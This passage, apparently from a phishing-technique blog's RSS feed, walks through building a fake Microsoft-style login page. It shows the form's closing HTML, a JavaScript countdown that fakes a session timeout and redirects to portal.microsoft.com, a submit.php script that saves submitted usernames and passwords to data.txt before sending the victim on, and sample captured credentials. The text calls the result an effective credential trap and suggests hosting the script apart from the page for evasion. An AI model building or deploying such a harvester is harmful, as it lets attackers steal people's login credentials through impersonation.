&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&lt;<a href="http://december.com/html/4/element/input.html"><span style="color: #000000; font-weight: bold;">input</span></a> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;submit&quot;</span> <span style="color: #000066;">value</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;Login&quot;</span>&gt;</span><br />
&nbsp; &nbsp; &nbsp; <span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><a href="http://december.com/html/4/element/div.html"><span style="color: #000000; font-weight: bold;">div</span></a>&gt;</span> &nbsp; <br />
&nbsp; &nbsp; <span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><a href="http://december.com/html/4/element/div.html"><span style="color: #000000; font-weight: bold;">div</span></a>&gt;</span><br />
&nbsp; <span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><a href="http://december.com/html/4/element/form.html"><span style="color: #000000; font-weight: bold;">form</span></a>&gt;</span></div></div>




<p class="has-small-font-size wp-block-paragraph" style="padding-top:0px;padding-right:var(--wp--preset--spacing--30);padding-bottom:0px;padding-left:var(--wp--preset--spacing--30)">&lt;form> tag snippet.</p>
</div>



<p class="wp-block-paragraph">Here is our form.. all it&#8217;s doing is passing the username and password fields to our submit.php&#8230; this file can be hosted <em>anywhere</em>, and if you&#8217;re into <a href="https://phishandchips.io/category/framework/evasion/" data-type="category" data-id="51">Evasion</a>, you will place it far away from your index.</p>



<p class="wp-block-paragraph">Second&#8230; check out this countdown timer:</p>



<div class="wp-block-group has-black-background-color has-background has-global-padding is-layout-constrained wp-container-core-group-is-layout-56ae27db wp-block-group-is-layout-constrained" style="padding-top:0;padding-bottom:0">

<div class="codecolorer-container javascript blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;height:300px;"><div class="javascript codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap;"><span style="color: #339933;">&lt;</span>script<span style="color: #339933;">&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #006600; font-style: italic;">// Set the countdown duration in seconds</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000066; font-weight: bold;">var</span> countdownDuration <span style="color: #339933;">=</span> <span style="color: #CC0000;">30</span><span style="color: #339933;">;</span> <span style="color: #006600; font-style: italic;">// Change this to your desired countdown duration</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #006600; font-style: italic;">// Function to update the countdown display</span><br />
&nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #000066; font-weight: bold;">function</span> updateCountdown<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; <span style="color: #000066; font-weight: bold;">var</span> countdownElement <span style="color: #339933;">=</span> document.<span style="color: #660066;">getElementById</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;countdown&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #000066; font-weight: bold;">var</span> seconds <span style="color: #339933;">=</span> countdownDuration <span style="color: #339933;">%</span> <span style="color: #CC0000;">60</span><span style="color: #339933;">;</span> <span style="color: #006600; font-style: italic;">// Calculate the seconds</span><br />
&nbsp; &nbsp; <span style="color: #000066; font-weight: bold;">var</span> formattedSeconds <span style="color: #339933;">=</span> seconds <span style="color: #339933;">&lt;</span> <span style="color: #CC0000;">10</span> <span style="color: #339933;">?</span> <span style="color: #3366CC;">&quot;0&quot;</span> <span style="color: #339933;">+</span> seconds <span style="color: #339933;">:</span> seconds<span style="color: #339933;">;</span> <span style="color: #006600; font-style: italic;">// Add leading zero if needed</span><br />
&nbsp; &nbsp; countdownElement.<span style="color: #660066;">textContent</span> <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot;Session timeout in 00:&quot;</span> <span style="color: #339933;">+</span> formattedSeconds <span style="color: #339933;">+</span> <span style="color: #3366CC;">&quot; &quot;</span><span style="color: #339933;">;</span><br />
<br />
&nbsp; &nbsp; <span style="color: #006600; font-style: italic;">// Change text color to red if less than 10 seconds</span><br />
&nbsp; &nbsp; <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>countdownDuration <span style="color: #339933;">&lt;</span> <span style="color: #CC0000;">10</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; countdownElement.<span style="color: #660066;">style</span>.<span style="color: #660066;">color</span> <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot;red&quot;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span> <span style="color: #000066; font-weight: bold;">else</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; countdownElement.<span style="color: #660066;">style</span>.<span style="color: #660066;">color</span> <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot;black&quot;</span><span style="color: #339933;">;</span> <span style="color: #006600; font-style: italic;">// Set the default color</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
<span style="color: #009900;">&#125;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #006600; font-style: italic;">// Function to start the countdown</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000066; font-weight: bold;">function</span> startCountdown<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; updateCountdown<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #006600; font-style: italic;">// Update the countdown every second</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000066; font-weight: bold;">var</span> countdownInterval <span style="color: #339933;">=</span> setInterval<span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; countdownDuration<span style="color: #339933;">--;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>countdownDuration <span style="color: #339933;">&lt;=</span> <span style="color: #CC0000;">0</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; clearInterval<span style="color: #009900;">&#40;</span>countdownInterval<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #006600; font-style: italic;">// Stop the countdown when it reaches 0</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; document.<span style="color: #660066;">getElementById</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;message-container&quot;</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">innerHTML</span> <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot;&lt;p&gt;Your session has timed out.&lt;/p&gt;&quot;</span><span style="color: #339933;">;</span><br />
&nbsp;<span style="color: #006600; font-style: italic;">// Redirect the user to a new page after the timeout (change the URL)</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; setTimeout<span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; window.<span style="color: #660066;">location</span>.<span style="color: #660066;">href</span> <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot;https://portal.microsoft.com&quot;</span><span style="color: #339933;">;</span> <span style="color: #006600; font-style: italic;">// Change the URL to your desired destination</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><span style="color: #339933;">,</span> <span style="color: #CC0000;">2000</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span> <span style="color: #000066; font-weight: bold;">else</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; updateCountdown<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><span style="color: #339933;">,</span> <span style="color: #CC0000;">1000</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #006600; font-style: italic;">// 1000 milliseconds = 1 second</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #006600; font-style: italic;">// Start the countdown when the page loads</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; window.<span style="color: #660066;">onload</span> <span style="color: #339933;">=</span> startCountdown<span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #339933;">&lt;/</span>script<span style="color: #339933;">&gt;</span></div></div>




<p class="has-small-font-size wp-block-paragraph" style="padding-top:0px;padding-right:var(--wp--preset--spacing--30);padding-bottom:0px;padding-left:var(--wp--preset--spacing--30)">Countdown function&#8212; javascript</p>
</div>



<p class="wp-block-paragraph">This is pretty boiler-plate stuff&#8230; At the end of the countdown, we set the redirect URL to:  https://portal.microsoft.com, which should be a login page for Microsoft&#8212; this is to simulate &#8220;oops, you&#8217;ve been logged out&#8221;  </p>



<p class="wp-block-paragraph">*NOTE.. if you&#8217;re not good with code, you can always ask <a href="https://chat.openai.com" data-type="link" data-id="https://chat.openai.com" target="_blank" rel="noreferrer noopener">ChatGPT</a></p>



<h3 class="wp-block-heading">Let&#8217;s see submit.php</h3>



<div class="wp-block-group has-black-background-color has-background has-global-padding is-layout-constrained wp-container-core-group-is-layout-56ae27db wp-block-group-is-layout-constrained" style="padding-top:0;padding-bottom:0">

<div class="codecolorer-container php blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;height:300px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap;"><span style="color: #000000; font-weight: bold;">&lt;?php</span><br />
<br />
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;REQUEST_METHOD&quot;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">===</span> <span style="color: #0000ff;">&quot;POST&quot;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$name</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;username&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$password</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;password&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; <span style="color: #666666; font-style: italic;">// Open the file for appending</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$file</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/fopen"><span style="color: #990000;">fopen</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;data.txt&quot;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;a&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; <span style="color: #666666; font-style: italic;">// Append the data to the file</span><br />
&nbsp; &nbsp; <a href="http://www.php.net/fwrite"><span style="color: #990000;">fwrite</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$file</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;Username: &quot;</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$name</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;, &quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <a href="http://www.php.net/fwrite"><span style="color: #990000;">fwrite</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$file</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;Password: &quot;</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$password</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; <span style="color: #666666; font-style: italic;">// Close the file</span><br />
&nbsp; &nbsp; <a href="http://www.php.net/fclose"><span style="color: #990000;">fclose</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$file</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; <span style="color: #666666; font-style: italic;">// Redirect back to the form page or a thank you page</span><br />
&nbsp; &nbsp; <a href="http://www.php.net/header"><span style="color: #990000;">header</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Location: https://portal.microsoft.com&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <a href="http://www.php.net/exit"><span style="color: #990000;">exit</span></a><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;Invalid request.&quot;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
<span style="color: #000000; font-weight: bold;">?&gt;</span></div></div>




<p class="has-small-font-size wp-block-paragraph" style="padding-top:0px;padding-right:var(--wp--preset--spacing--30);padding-bottom:0px;padding-left:var(--wp--preset--spacing--30)">submit.php</p>
</div>



<p class="wp-block-paragraph">Short story goes&#8230; we just receive a POST to page, open data.txt, write the form contents, then redirect the user to portal.microsoft.com anyway&#8211;</p>



<p class="wp-block-paragraph">And that&#8217;s it&#8230;</p>



<p class="wp-block-paragraph">The output:</p>



<div class="wp-block-group has-black-background-color has-background has-global-padding is-layout-constrained wp-container-core-group-is-layout-56ae27db wp-block-group-is-layout-constrained" style="padding-top:0;padding-bottom:0">

<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap;">Username: TEST, Password: password<br />
Username: TEST, Password: TEST<br />
Username: go, Password: phish<br />
Username: anotha, Password: one<br />
Username: TEST, Password: 1234</div></div>




<p class="has-small-font-size wp-block-paragraph" style="padding-top:0px;padding-right:var(--wp--preset--spacing--30);padding-bottom:0px;padding-left:var(--wp--preset--spacing--30)">data.txt </p>
</div>



<h2 class="wp-block-heading">Conclusion</h2>



<p class="wp-block-paragraph">As we have demonstrated&#8230; it&#8217;s absolutely trivial to create a web form to harvest credentials. Login forms do not actually need to go anywhere or do anything to be effective. With 2x files and 30 lines of code (excluding styles and javascript), we can create an effective credential trap&#8230; small, but optional, embellishments complete the social engineering piece. </p>



<p class="has-text-align-center wp-block-paragraph">What&#8217;s next?</p>



<div class="wp-block-columns is-layout-flex wp-container-core-columns-is-layout-f56f613f wp-block-columns-is-layout-flex">
<div class="wp-block-column is-layout-flow wp-block-column-is-layout-flow">
<p class="has-text-align-center wp-block-paragraph">Related Topics</p>



<div class="wp-block-buttons is-content-justification-center is-layout-flex wp-container-core-buttons-is-layout-20959078 wp-block-buttons-is-layout-flex">
<div class="wp-block-button is-style-outline inter-section is-style-outline--2"><a class="wp-block-button__link has-secondary-color has-text-color has-text-align-center wp-element-button" href="https://phishandchips.io/category/framework/data-harvesting/">Data Harvesting</a></div>
</div>
</div>



<div class="wp-block-column is-layout-flow wp-block-column-is-layout-flow">
<p class="has-text-align-center wp-block-paragraph">Next Topic</p>



<div class="wp-block-buttons is-content-justification-center is-layout-flex wp-container-core-buttons-is-layout-20959078 wp-block-buttons-is-layout-flex">
<div class="wp-block-button is-style-outline inter-section is-style-outline--3"><a class="wp-block-button__link has-secondary-color has-text-color wp-element-button" href="https://phishandchips.io/category/framework/evasion/">Evasion</a></div>
</div>
</div>
</div>
]]></content:encoded>
					
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">923</post-id>	</item>
	</channel>
</rss>
